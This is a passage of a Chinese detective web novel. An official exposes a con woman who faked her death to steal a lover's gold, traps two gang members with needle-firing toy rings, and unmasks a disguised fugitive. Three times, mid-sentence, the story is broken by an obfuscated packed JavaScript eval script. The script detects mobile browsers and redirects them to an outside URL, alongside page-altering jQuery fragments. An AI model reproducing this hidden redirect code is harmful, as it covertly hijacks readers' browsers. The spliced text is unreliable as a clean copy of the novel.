云水谣心里知道,佩儿很有可能就是给黄四牛脑中发射银针之人。但这件事并没有目击证人,佩儿如果抵死不认,云水谣也不能将她定罪。毕竟,云水谣的线索得于一只翠鸟,这是不能明说的。 除非,她能查到佩儿犯的其他罪状,用那些罪状来惩治佩儿。 佩儿和吴阿婆虽然被分别关了起来,但却不能关太久,以免夜长梦多。 所以,留给云水谣的时间不多了。 而另一个运泔水的方大娘也失踪了,还不能确定她是不是万花楼的琼娘。虽然发了通缉令,但未必能找到她。 黄四牛被杀一案,又没有更多线索。 元景佑被她派出去打听蝮蛇帮的事,还没有回来。 一切都陷入了僵局。 云水谣决定,天大的事情,等明天再说。 她稍作休息后,就睡觉了。 第二天,云水谣趁着早上忙完公务,中午和柳依依一起溜了出去,去六味楼吃烤鸭。 雅间是一早就定好了的,伙计引着她们往二楼的雅间走去。 这时,从楼上下来一个身穿青衫的年轻男人,他似乎有些神不守舍,不小心撞到了云水谣。 他赶紧道歉:“对不起对不起……” 云水谣道:“没事。” 这青衫男人低着头,继续往下走去。 柳依依对云水谣道:“这个男人身上的香味,我好像在哪闻到过。” 134.药膏 云水谣笑道:“是吗?小点声,别让人家听见。” 不过,这青衫男人已经听见了,他回过头解释道:“我并未佩戴香囊,我身上的香气应该是怀里的药膏发出的气味。” 说着,他从怀里掏出一个药膏,道:“姑娘若喜欢这个味道,可以拿去看看,这是一种治疗头皮发炎的药膏,很多地方都能买到的。” 柳依依笑道:“没事,我只是随口一说,并非是想买一样的药膏。我的头皮又没发炎,用不着这个。” 见柳依依如此说,这青衫男人就把药膏收了起来。 云水谣看了那男人一眼,道:“这位公子,你的头皮也没发炎,为何要携带这样的药膏?” 这青衫男人叹息道:“唉,这并非是我用的,而是……罢了,往事不堪回首,不说也罢。” 他正要离开,云水谣心里忽然产生了一个想法:如果让这个男人离开,她一定会后悔。 因此,她挽留道:“这位公子,我是写话本的,很喜欢听别人的故事,增加自己的创作灵感。刚才我看你欲言又止,可否将你的故事讲给我听?我在楼上包了雅间,可以请你喝茶。” 这男人从楼上下来,应该是吃完了饭的,所以云水谣才说请他喝茶。 这青衫男人眼前一亮:“姑娘是写话本的?你是不是那个大名鼎鼎的秦婉君?” 云水谣道:“不是。你也听说过秦婉君?” “是啊,她写的话本在很多勾栏都有演出,我也看过好几场。我一直想亲眼见见秦婉君,要一本她签名的话本,可惜一直缘悭一面。” “以后只怕更见不到了,我听说秦婉君已嫁与福王为妾,以□□院深深,她恐怕不太会出门交际了。” 青衫男子皱眉道:“不应该啊。” “公子此言何意?” “哦,我的意思是,我觉得秦婉君不像是那种会嫁人为妾的姑娘,哪怕对方是王爷。” “何以见得?” “在此处说话不方便,不如去雅间详聊?” 云水谣点头:“好。” 云水谣等人来到了雅间,点完菜后,伙计出去准备菜品,云水谣就给那青衫男人倒茶,问道:“这位公子,你刚才说,你从未见过秦婉君,那你何以判断秦婉君不会给人当妾呢?” 青衫男子道:“多谢姑娘倒茶,我叫褚天帆,姑娘叫我的名字就好。我刚才之所以这样说,是因为我看过很多秦婉君所写的话本,话本里的主角都是自立自强的女孩,无论面对什么样的逆境,都靠自己站稳了脚跟。而且这些主角里,没有一个是给人做妾以求富贵的。 我觉得,能写出这种话本的人,一定是有傲骨、心性坚韧之人。秦婉君笔下的主角都从不做妾,她自己怎么会给人做妾呢?” 云水谣道:“你说的有道理,不过她现在确实已经嫁给福王为妾了。也许,她不是为了荣华富贵,而是为了感情。” “为了感情,也不合理啊。秦婉君所写的话本,从没有一个主角是被感情冲昏了头脑,连名分都不顾,一门心思要嫁给某个男人的。” 云水谣心想,连褚天帆这么一个路人都觉得秦婉君嫁给福王不合理,可见这件事一定有内幕。云水谣可以猜到,秦婉君是福王的下属,嫁给他只是掩人耳目的做法。但褚天帆却不知道,云水谣自然不可能把这一层真相解释给他听。 因此,云水谣笑道:“话本是话本,人是人,不能混为一谈。也许福王长得英俊,对秦婉君又温柔体贴,所以秦婉君愿意嫁呢。” 褚天帆倒觉得有些痛心疾首:“唉,这么一来,也不知道她以后还会不会继续写话本。就算继续写,她笔下的人物可能也会失去以前的光辉。” 褚天帆的心态,云水谣也能理解。秦婉君是褚天帆很喜欢、很认可的话本先生,当秦婉君做出有违褚天帆认知的事情时,褚天帆自然觉得很难接受。 这种喜欢跟男女之情无关,而是话本阅读者对话本创作者的喜欢。在某些狂热的读者心里,他们喜欢的创作者简直跟神差不多。 当神跌落神坛,信徒发现所谓的神也不过如此,那自然是十分痛心了。 云水谣安慰道:“秦婉君才华横溢,我想她日后一定会写出更多优秀的话本。她选择什么样的生活,跟她写什么样的故事其实是两回事,说不定她以后写的话本你也会喜欢呢。” 褚天帆道:“但愿吧。” “对了褚公子,你怀中的药膏是给谁用的?可以跟我说说你的故事吗?” 褚天帆叹息道:“我以前有一爱妾,名叫冷霜,长得花容月貌,只是头皮经常发红,用了很多种药膏也不见效。我经常携带药膏,给她涂头皮。但是她嫁给我一个多月,就亡故了。 我很思念她,所以走到哪都带着涂头皮的药膏。我还随身带着她的画像,经常拿出来看看。” 云水谣的内心忽然说不出的激动,心跳得很快。她竭力装作正常,问道:“褚公子,可否将冷霜的画像给我看看?” “可以。” 褚天帆取出一张小像,展开来放在桌面上。 画中的女子琼鼻檀口,言笑晏晏,十分动人。云水谣赫然发现,自己竟认识这个姑娘! 柳依依也是一脸惊讶的表情。 云水谣对柳依依道:“依依,你看这女子像谁?” 柳依依道:“佩儿……怎么会跟佩儿如此相似?” 褚天帆忙问:“什么?你们认识跟冷霜长得相像的女子?她在何处,可否带我去见见?” 云水谣道:“可以,不过在那之前,你得先说说你跟冷霜姑娘是怎么认识的。” “我跟她……是在一家青楼认识的。” 云水谣和柳依依对视了一眼,心中惊讶。 褚天帆接着说道:“我是宁州人士,平时不会去青楼。有一次被一个朋友拉到一家叫红杏楼的青楼,看见一名粉衣姑娘,当时就被她吸引了。于是,我走了过去,找那位姑娘说话。 她说她叫冷霜,对我也是一见钟情。我们相谈甚欢,后来,我就成了红杏楼的常客。我每次去,都是去找冷霜。 她说她心里只有我,但身在青楼,总难免要接别的客人。因此,她请求我为她赎身。她说她已经攒够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867834|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了赎身的银两,我只需要付一千两的彩礼钱给鸨母,鸨母就会放她走。 于是,我就拿了一千两,把她赎了出来。” 这个故事到目前为止,跟杨小官人的事很相似。区别在于,杨小官人赎琼娘,需要二十万两,且这二十万两被琼娘卷走了;而褚天帆赎冷霜,只需花一千两银子,比起杨小官人来说少了很多。 云水谣知道,这个冷霜骗钱的手段一定在赎身之后,因此她问道:“你为冷霜赎身之后,发生了什么?” 褚天帆道:“她离开红杏楼后,我就纳她为妾,过了一段恩爱的日子。我尚未娶妻,所以身边只有她一个女人,我们跟夫妻无异。谁知过了一个多月,她就得了急病亡故了。 她临死前,说自己最害怕没钱,所以希望我用金条给她陪葬。她让我在棺材里铺满三层金条,她躺在金条上面才能安心。对这个小小的要求,我自然答应了。然后,她就……她就去了……” 说着,褚天帆掉下泪来,赶紧用手擦了,勉强说道:“抱歉,让你们看笑话了。” 云水谣看得又是感动,又是唏嘘,对他说道:“别伤心了,我敢保证,你现在回家去打开冷霜的棺材,里面肯定是空的,冷霜也不在里面,金条也不在里面。” 褚天帆惊讶道:“这是何意?” “字面意思。” 褚天帆还是没明白云水谣为什么这样说。 云水谣已经站起身来,对他说道:“跟我走,我带你去见你的爱妾冷霜。” 褚天帆:“啊?什么……” 云水谣和柳依依往外走去,褚天帆虽然一头雾水,但还是跟了出去。 这时,店小二端来烤鸭,说道:“几位客官,菜还没吃,你们就走了?” 云水谣头也不回地道:“送你了。” 很快,云水谣带着褚天帆来到了衙门。 褚天帆不敢进去,道:“姑娘,来衙门做什么?还是快走吧……” 云水谣亮出自己的官印,道:“本官是雍州司马,你的小妾冷霜没死,还换了个身份。你随我进去,我把她找来见你。” 褚天帆非常惊讶,他虽然不信冷霜死而复生,但还是心怀一丝希望,就跟着云水谣进去。 云水谣来到公廨找杜羽,对他耳语几句。杜羽点了点头,道:“我现在派人去把佩儿带来,大概四个时辰左右带到。你先把褚天帆留下,别让他离开。” “嗯。” 褚天帆急着要见冷霜,云水谣让他等几个时辰。他简直坐立不安,一直在踱步,手也微微颤抖。 云水谣怕他影响其他官吏,就让他去客房,派了几个侍卫把守着房门,不许他离开。 一直到晚上戌时三刻左右,佩儿终于被带了回来。她仍是戴着手铐脚镣,还被点住了几个大穴,以免她逃跑。 佩儿搞不清状况,只记得自己昨日去执行任务,忽然被人袭击,关在了一个偏僻的屋子里,叫天不应叫地不灵。 今日又突然被带回县衙,难道是官府发现她们被绑架,所以把她们救出来了?可既是如此,为何又要用镣铐束缚住她? 135.抵赖 佩儿满腹疑惑,不知从何问起。 她被带到公堂,见到了云水谣。于是她便说道:“大人,昨日我们一行人不知为何遭到袭击,后来被绑到一个偏僻的地方,是不是您派人把我们救回来的?” 云水谣道:“这个问题,一会本官自会解答。现在你需要先见一个人。” “什么人?” 云水谣转头,对后面的人道:“褚公子,你出来见见这个姑娘,是不是你的爱妾冷霜。” 褚天帆走了出来,见到佩儿,先是不敢相信,随即又惊又喜,跑到佩儿身边,激动地抓住她的手:“冷霜,你还活着!你没死!太好了,云大人,可否将她手上的镣铐解开,我要带她回家。” 佩儿见到褚天帆,也是十分震惊,不过她很快掩藏好自己的情绪,装出一副困惑的样子:“你是谁?我不认识你。” 褚天帆讶然:“你……你不是冷霜?” “我叫佩儿,我从未见过你。” 褚天帆有些失望,但还是忍不住看着佩儿的脸:“原来如此,原来你就是云大人说的那个跟冷霜长得像的姑娘……” 云水谣忍不住出声提醒:“褚天帆,别傻了,她就是冷霜。你们的相遇,从一开始就是她做的局。她早就知道你人傻钱多,因此在青楼跟你谈情说爱、嫁你为妾、后来假死,又索要金条作为陪葬品,都是她的手段。她最终的目的,是要得到你的钱。” 褚天帆摇头:“不,不可能,我们是真心相爱的……” 佩儿也说道:“云大人,您说的话,我听不懂。您为何要用这样的罪名污蔑我?这个男人我不认识。” 云水谣对褚天帆道:“褚天帆,你回忆一下,冷霜有没有什么特征,是其他人没有的?” 褚天帆想了想,道:“冷霜左边下面的牙齿,有一颗横着长的智齿。还有,她的头皮常年发红。她的十根手指都十分柔软,可以向后弯曲一半的位置。” 女护卫徐二妞也跟着佩儿一起回来了,现在就站在佩儿身侧。 云水谣对徐二妞道:“徐二妞,你检查一下佩儿的身体,看是否有褚天帆所说的几个特征。” “是。” 徐二妞检查过后,回禀道:“大人,佩儿确实有一颗横着长的智齿,左边的头皮发红,且十指都能向后弯折一半的位置。” 云水谣冷冷地看向佩儿:“佩儿,你还有什么好说的?” 佩儿道:“这不过是巧合罢了。” “怎么可能有这么多巧合?你不仅骗了褚天帆的钱,假死脱身,而且,你还是蝮蛇帮的成员,在帮派内地位还不低,对不对?” 佩儿的眼中闪过一丝惊讶,随即加以掩饰:“不对。大人怎么能这般乱说?” “事到如今,你还不承认。你以为本官拿你没办法了吗?来人,传吴阿婆上堂。” 过了一会,吴阿婆被带了过来。她本就住在县衙里,所以到得很快。 她看见佩儿被绑住了,有些惊讶,问道:“大人,您不是让佩儿当女兵吗?怎么她又被绑在公堂上?” 云水谣道:“佩儿之前在宁州的红杏楼当过青楼女子,还骗了这位褚公子的钱和感情,你知道吗?” 吴阿婆摇头道:“大人,您一定搞错了,佩儿一直待在我身边,从来没有离开过。她是个好姑娘,怎么会去青楼里面?” 云水谣冷笑:“哦?照你这么说,佩儿一定还是处子之身咯?那本官找人验一验吧。” 吴阿婆眼神闪烁,有些激动地说道:“大人,您怎么能如此羞辱她?我们祖孙二人,究竟是哪里做得让您不满意,您要一再地骚.扰我们,现在还这样污蔑我的外孙女?” “是不是污蔑,验一下不就知道了?本官会去找个有经验的稳婆来,让她查看一下佩儿的身体。” “这……这万万不行……” “有什么不行的,她若是纯洁无瑕,那自然证明所有的罪名都不成立,对你们祖孙很有利啊。但她若不是处子之身,就证明你们祖孙二人,并没有自己说的那般老实。” 吴阿婆开始发抖,不知该如何作答,又习惯性地抿了抿唇。 看她这幅样子,云水谣就猜到真相了。 佩儿说道:“不用验了,我已非处子之身。但这是因为我对于男女之事很好奇,曾找人偷偷试过,并不代表我曾经在青楼待过,更不代表我做过其他坏事。大人,我长得这么漂亮,又这么年轻,偶尔耐不住寂寞,也不是什么大错吧?” 云水谣道:“若果真如你所说,也不算什么大事。那你找上的男子是谁,总能说清楚吧?若含糊不清,就是说谎。” 佩儿道:“我当时只是见到了一个清俊的男子,便与他偷偷试了一番,说好了不问彼此的姓名来历,结束之后就再也没见面了。所以我并不知道他是谁。” “你外婆眼中的好女孩,就是这么随便的吗?” “我也许没有外婆说的那么好,但也没有大人说的那么坏。” “你倒是挺会辩解的。本官立刻派人去通知宁州官府,打开冷霜的棺材看一看,如果棺材里没有尸体,也没有金条,足以证明你的罪行。” 佩儿一脸不惧:“千里之外的一个棺材是空的,又能证明什么?我从来没去过宁州,没听说过什么红杏楼,更不认识这位褚公子。” 云水谣简直要被气笑了。 褚天帆一脸不解地看着佩儿:“冷霜,我知道你就是冷霜……你为什么否认,我们明明那么相爱……” 佩儿道:“你认错人了,别再纠缠我了。” 褚天帆不可置信地看着她,像是今日才重新认识她:“冷霜,你拿走那些金条,我不在意,我的家产都可以跟你共享,你怎么能不认我?从我们第一次见面,你就说你倾心于我,如果没有我,你简直没有活下去的意义,难道这些都是假的?” 佩儿只是冷笑,并不回答。 云水谣道:“褚公子,青楼女子说的话怎么能信?现在你发现她的真面目了吧?烦请你住在县衙,做个证人。将来把佩儿治罪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870715|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你还要出来作证的。” 褚天帆喃喃道:“作证……治罪……我不要……大人,我不告她了,我不跟她计较,能不能放她走?” 云水谣道:“不能。你以为,她只是骗过你一个人而已吗?她的罪行,恐怕已经罄竹难书。她很有可能是一个□□的头目,她害过的人数不胜数。佩儿,冷霜,都只是她的假名而已。她这样的人,隔一段时间,就会换一个名字和身份。 很多被她害过的人都已经死了,你还活得好好的。所以,你出来作证,不仅是权利,也是义务。这件事,你没法拒绝。来人,先将褚公子请到县衙的客房中,派人保护起来,不许任何人接近。” 侍卫答道:“是。” “将吴阿婆和佩儿押入大牢,以待来日审讯。” 衙役道:“是。” 吴阿婆和佩儿被带走了。 云水谣让褚天帆写下冷霜的坟墓所在地,然后叫来一名身手敏捷的侍卫,吩咐道:“你马上骑一匹快马,赶去宁州,请宁州官府协助查探冷霜的坟墓,看里面是不是空的。一旦有了结果,即刻回报。” 侍卫道:“是。” 公堂上众人散去,柳依依走到云水谣身边,道:“此案现在已经牵涉雍州、宁州两大州,只怕又要移交大理寺审理,我们这边只能准备好人证物证,没法结案。” 云水谣点头:“是啊,真是麻烦得很。” 按照大夏律例,如果有案件牵涉多个州,就需要移交大理寺,州府衙门不能自行结案。这是出于慎重考虑,但也无疑拉长了整个审讯流程,容易夜长梦多。 云水谣问道:“我有没有忘记考虑什么细节?” 柳依依道:“我认为,还有一件事必须去做,就是找到佩儿的奔月环。佩儿既然是蝮蛇帮的头目,她就跟琼娘一样,肯定拥有一个改造过的奔月环,可以用来做武器。一旦这件武器被发现,就更能坐实她的罪名。” “对,差点忘了这件事。可是衙役们已经搜过吴家,没有找到奔月环,那到底会在哪里呢?” 奔月环也是黄四牛一案的重要物证,所以一定要找到,让佩儿无可抵赖。 柳依依道:“我觉得,可以问问佩儿的街坊邻居,看佩儿平日里去哪里比较多。她没把奔月环藏家里,也许藏在了她常去的地方。” 云水谣点头:“说得对。依依,这件事就你来办吧。” “是。” 等所有人都走后,云水谣回到房间,放松一下。 她把案情进度重新梳理了一遍。 她目前在调查蝮蛇帮的两个案子,黄四牛被杀一案虽然抓到了杀人的村民,但真正的元凶——蝮蛇帮和佩儿还没有认罪。 目前除了佩儿和吴阿婆外,还没有抓到蝮蛇帮的其他成员。所以,黄四牛一案,还没有尘埃落定。 杨小官人自尽一案,更是毫无着落。首先,琼娘还未找到;其次,还不能确定逃跑的方大娘就是琼娘;第三,又牵扯出了一桩跟杨小官人自尽案相似的案子。 136.找到 佩儿和琼娘非常相似,她们都是蛰伏在青楼,伺机选取诈骗对象,一旦有大鱼上钩,她们就收网。 不同的是,佩儿嫁给了“大鱼”褚天帆一段时间,才开始骗钱,假死脱身;而琼娘在拿到“大鱼”杨小官人的二十万两银票之后,直接就跑了。 所以,也就导致了褚天帆和杨小官人两人,一活一死。而褚天帆直到现在还顾念旧情,不得不说佩儿的手段比琼娘高明一些。 而且,已经有这么多证据摆在眼前了,佩儿还能睁眼说瞎话,一推六二五,可谓是执迷不悟,是块难啃的硬骨头。 不过,像佩儿这样的人,云水谣也见得多了,知道只有沉住气,才能跟她们斗法。 只要冷霜的棺材里没有尸体、没有金条,就足以证明佩儿就是冷霜。治她的罪只是时间问题。 两个时辰后,柳依依回来了,对云水谣道:“大人,我向吴家的邻居打听了佩儿常去的地方,她好像常去一座仙女庙。她说自己长得丑,所以要去拜好看的仙女,希望能变得漂亮些。 如今看来,这不过是托词。她长得很好看,平时只是故意扮丑,根本不需要去仙女庙祈福,所以她去仙女庙必有其他缘故,可能就是把自己的武器藏在那里。我已带人大致找了一遍,但没找到,请大人多派些人手给我。” 于是,云水谣又派了四名衙役给柳依依,让他们一起去仙女庙找奔月环。 直到天色擦黑,柳依依等人才回来。 柳依依面有喜色,道:“大人,我们找到奔月环了,在仙女庙神像的发冠里。仙女庙的神像常年戴着一顶大发冠,百姓们出于对神像的恭敬,也不会去触碰神像,所以佩儿才会把自己的武器藏在那里,可以说很聪明了。不过,我们找到了两个奔月环。” 说着,柳依依把两个奔月环拿过来给云水谣看。 云水谣又是惊喜,又是疑惑。她掂量了一下,这两个奔月环比普通的玩具要重一些,里面可能经过了改造。 不过,她也不知道是如何改造的。 她和柳依依琢磨了半天,都没找到这两个奔月环的特殊之处。 柳依依问道:“大人,这怎么办?” 云水谣想到了杜羽,他身份高贵,手底下聚集了许多能人异士,说不定有精通机关暗器的人才,可以帮到自己。于是便说道:“我们去找杜长史帮忙看看。不过,奔月环怎么会有两个?我记得,蝮蛇帮的头目,好像每人只有一个奔月环。” “也许是佩儿特意要了两个奔月环,方便轮流使用。她既然是蝮蛇帮的头目,多要一件武器也很容易吧?” “也许吧。” 云水谣去公廨找杜羽,还好杜羽还未离开。 云水谣说明来意,杜羽道:“这容易。我有个暗卫精通机关和武器,让他帮忙看看。” 说着,杜羽叫来那名暗卫,让他查看这两个奔月环。 暗卫研究了一下,巧妙地一转,奔月环就被拆成了好几个小块。里面有精巧的机关,藏着细小的银针,每个奔月环里有十根银针。 这机关太小了,暗卫能看清,但云水谣看不清,还是杜羽拿了放大镜过来,云水谣和柳依依才勉强看明白。 云水谣问道:“拆开之后能复原吗?” 暗卫道:“可以。这里面的银针用完之后,她们自己也是要拆开,重新放银针进去的。” “这种改制的奔月环要费很多功夫才能做好吗?” “是的。奔月环本就很小,要在这么小的玩具里加以改造,非常困难,就算是做惯了机关暗器的能工巧匠,只怕也要好几个月的功夫。” 杜羽道:“先把这两个奔月环重新组装好吧。” 暗卫道:“是,主人。” 暗卫的手很巧,三下五除二就把两个奔月环都组装起来了,从外表看着跟普通玩具无异。 云水谣道:“现在虽然找到了佩儿的武器,但她若不承认这是她的怎么办?” 杜羽想了想,道:“先拿着这奔月环去问她,她要是不承认,也把奔月环留在她那里。然后,我们故意让牢里的守卫薄弱,让她觉得只要杀了狱卒,就有机会逃走。她的穴位已经被点,一身武功没法施展,要杀人肯定只能借助于奔月环。 当她使用这个武器的时候,我们再突然出现。众目睽睽之下,她就无可抵赖了。不过,在把奔月环交给她之前,要先把里面的银针全部取出。” 云水谣佩服道:“真是个好主意。” 杜羽让暗卫重新拆开两个奔月环,把里面的银针取出来,再组装回去。 接着,云水谣把两个奔月环拿上,来到关押吴阿婆和佩儿的牢房。 云水谣向她们出示了奔月环,道:“佩儿,我们已经找到你平时使用的武器了,你还不承认吗?这两个奔月环,是从你家附近的仙女庙找到的。这是蝮蛇帮头目才会有的信物,你的身份暴露无疑了。 你若现在承认,本官还能从宽处理。若是拒不招认,恐怕免不了大刑伺候。” 吴阿婆和佩儿看见云水谣手上的奔月环,都有些惊讶。 但佩儿却说道:“大人,这不是我的东西,我也从未听说过蝮蛇帮。” 云水谣忽然发怒,把两个奔月环朝佩儿身上扔去,骂道:“真是岂有此理,本官从未见过像你这样冥顽不灵的犯人!” 佩儿的武功虽然被封住了,但身法灵活,轻轻一躲,就躲过了两个奔月环,没有被砸到。 两个奔月环都摔在了地下,佩儿和吴阿婆并未去捡。 云水谣道:“你再好好想想吧,本官再给你两天时间。两天之后不招,就要用刑了。” 说着,云水谣走出了牢房。 吴阿婆和佩儿将地上的奔月环捡了起来,一人一个拿在手里。 佩儿看着云水谣的背影,手指一动,想发射银针。吴阿婆拉住了她的手,摇了摇头。佩儿便收回了手,只把奔月环牢牢捏在手里。 眼见四下无人,佩儿说道:“怎么办?真的要招认一切吗?” 吴阿婆道:“我们好不容易才有今日的成就,怎么能轻易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874352|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放弃?我们得想办法逃出去。” “牢房把守严密,又有人每天过来点住我们的穴道,怎么逃?” “只要官府不杀了我们,总能找到机会的。我现在担心的是,上头会不会派人来灭口?” “州衙大牢可不是来去自如的地方,我不信上面能派人混进来,我们只要在牢里就是安全的。只是,我们一直待在牢里也不是办法啊。” 佩儿有些心烦,皱起了眉头。 吴阿婆宽慰道:“沉住气,静观其变。” 第二天晚上,只见牢头召集了所有狱卒,道:“今日是刺史大人的生日,刺史大人说了,请咱们喝酒。牢房里留两个人把守便可,其他人跟我走吧。” 有个狱卒道:“可是,牢房里这么多犯人,有些还是重犯……” 牢头拍了拍他的肩膀:“放心吧,牢房坚固,他们跑不出来的。” 没过多久,牢头和大部分狱卒都离开了,只剩下两名狱卒到处巡逻。 佩儿见机会来了,便故意哭道:“外婆!外婆!您怎么了?” 狱卒闻声赶来,问道:“发生什么事了?” 佩儿道:“我外婆可能是中暑了,能不能拿点药给她?” 狱卒见吴阿婆躺在地上,脸色很不好,便说道:“你们等着,我现在去拿药。” 这时,吴阿婆和佩儿同时拿起奔月环,朝两名狱卒发射银针。 只是,她们按下按钮后,却发现没有银针。 她们觉得奇怪,正准备查看奔月环,却见云水谣、杜羽、柳依依和好几个小吏从暗中走出来。 云水谣道:“佩儿,你说这奔月环不是你的武器,可你却知道怎么使用,可见之前是在说谎。这牢里所有的事情都有专人记录,你刚才的一举一动已经被记录下来,抵赖不得了。” 佩儿脸色发白,察觉到自己上当了,说道:“我说你怎么会把这奔月环丢给我,而不是拿走,原来是给我设了个圈套。” 云水谣道:“没错。今日还有意外收获,就是吴阿婆竟然也会使用奔月环。所以,吴阿婆并不是你的外婆,而是蝮蛇帮的另一个头目吧?她在蝮蛇帮的地位应该跟你差不多。你们假扮祖孙,互相掩护,真是精彩绝伦。 说吧,你们还干过什么坏事?” 佩儿冷静地说道:“大人,我之前确实有事瞒着您,就是关于这奔月环之事。这两个奔月环确实是我和外婆的武器,是我请一个高人打造的,用来防身。我们并不知道什么蝮蛇帮,也不是蝮蛇帮的头目。我和外婆也从来没做过坏事。” 云水谣觉得非常恼火,很想打她,但忍住了。她一时说不出话,杜羽便说道:“佩儿,你说你没做过任何坏事?那褚天帆怎么知道你的身体特征?你分明跟琼娘一样,在青楼物色猎物,欺骗他们的钱财和感情。这件事,你如何抵赖?” 佩儿不说话,只是看着地下。 杜羽道:“看来,不用刑,你是不会招的。来人,将吴大姐和吴佩儿带下去用刑,让她们把自己知道的吐干净为止。” 137.心软 吴阿婆的名字叫吴大姐,所以杜羽直接叫了她的名字。 云水谣道:“吴阿婆年老,如果用刑,会不会撑不过去?不如先对佩儿用刑。” 杜羽道:“吴阿婆肯定是会武功的,之前只是假装虚弱,实际上身子骨应该很好。像她们这种人,所说的话,所做的事,一点也不可信。” “这倒是。” 吴阿婆和佩儿被带了下去,受了几道刑罚,但她们愣是一个字也没说。 牢里阴寒,吴阿婆和佩儿又是女子,如果打得太狠,万一生起病来,容易一病不起,因此一次用刑也不能太狠。 见打得差不多了,杜羽道:“可以了,今天先到此为止吧。吴大姐,佩儿,我劝你们还是早点招了吧。否则,每天都有不同的刑罚等着你们。” 吴阿婆和佩儿鲜血淋漓,但并没有回答杜羽的话。 杜羽冷笑了一声,走了出去。 云水谣看她们受刑的模样,有些不忍,不愿多看,也离开了牢房。 出了牢房之后,云水谣对柳依依道:“我不想看那些犯人受刑,但她们满嘴谎言、抵死不招的样子又着实让人生气。唉,我是不是太心软了,竟然同情这种可恶的犯人?” 柳依依道:“这也是人之常情,正常人看到有人受刑,都会于心不忍的。不过,我一想到佩儿她们做的事,就觉得她们活该。目前还不知道吴阿婆做过什么坏事,但吴阿婆既然与佩儿为伍,想必也不是什么好人,手上应该沾满了鲜血。佩儿所害的人,应该也不止一个褚天帆而已。” 云水谣点头:“我也是这么想的。蝮蛇帮一日不除,终究是大夏百姓的祸患。” 有很多人都会被身边的亲朋好友骗钱或坑钱,但这还算是比较容易规避的,普通人骗钱的手段也不多。 但蝮蛇帮不一样,他们有一个庞大的组织,有好几套成熟的骗钱模式,而且有很多人互相配合打掩护,一旦有人被他们盯上,则防不胜防,所以危害更大。 像佩儿、琼娘她们,所使用的应该是同一种套路,就是用感情和姿色去骗那些单纯又有钱的男子。遇到那种心眼多的狡猾之人,她们自然又有另一套骗钱的方法。 云水谣想起自己还有一些公务没办好,就来到公廨。 杜羽也在这里,还拿着一张纸在看,边看边啧啧称奇。 云水谣问道:“杜长史,你在看什么?” “哦,闲来无事,看看杨小官人的这首绝命诗。他可真有才华,这首诗写得情感澎湃、字字珠玑。可惜了,这么一个才子,竟然想不开,自尽了。不就是被一个女子骗了吗,只要人活着,总能东山再起,何必自寻短见呢?” 云水谣道:“他受到的打击太大了,一时想不开也是有的。如果只是被骗了钱,可能还好说;但琼娘还骗了他的感情,这是双重打击啊。” “要我说,他还是太年轻了,经历的挫折太少。我看,他这首绝命诗,水平不在当世几位大儒之下。正好我爹在编一本《国朝诗集》,我把这首诗誊抄下来,寄给我爹,让他收录进去,也算这杨小官人没白死一场。” 云水谣点头:“那你抄吧,小心点,别把原版损坏了,这可是重要的物证。” “放心,损坏不了。” 杜羽果真拿过纸笔,抄录起了杨小官人这首诗。 他抄了一会,忽然喃喃自语:“不对。” 云水谣问:“哪里不对?” “你来看看这句诗。” 云水谣走了过去,杜羽指着整首诗的其中一句,道:“你看这句诗,有没有问题?” 云水谣阅读这句诗:“‘抚琴如痴亦如醉,抿唇宜喜复宜嗔。’有什么问题?” 杜羽道:“你再仔细看看。” “‘抿唇宜喜复宜嗔’……抿唇……” 云水谣想到了什么,震惊地看向杜羽。 杜羽道:“走,去牢房看看。” 二人来到牢房,找到关押吴阿婆和佩儿的房间。 她们二人正在养伤,有气无力的。吴阿婆问道:“两位大人,你们来做什么……” 杜羽没有理她,只是伸手在吴阿婆的脖子处摸了摸。接着,他一用力,只听“嘶拉”一声,一张人皮面具从吴阿婆脸上揭了下来。 原来吴阿婆竟也戴着人皮面具。而她真正的模样,沉鱼落雁,骨肉匀称,明显才二十多岁,其姿色不在佩儿之下。 杜羽冷笑道:“果然被我猜中了。云大人,你看她是谁?” 云水谣看了一眼,震惊道:“琼娘?” 吴阿婆竟然是琼娘假扮的! 云水谣把琼娘的画像看过很多次,所以一下子就认出来了。 这些天,琼娘一直在她们眼皮子底下,而云水谣竟未发觉。 她本以为逃走的方大娘是琼娘,原来不是。 云水谣问道:“奇怪,我第一次见吴阿婆的时候,就让人检查过她的脸,那时候她是没有人皮面具的。” 杜羽道:“真相很简单,那就是确实有一个年老的吴阿婆存在,你第一次见到的就是真正的吴阿婆。而后来的吴阿婆,则是琼娘戴上人皮面具假扮的。在你第一次去吴阿婆家的时候,琼娘说不定躲在暗处,看着你。” 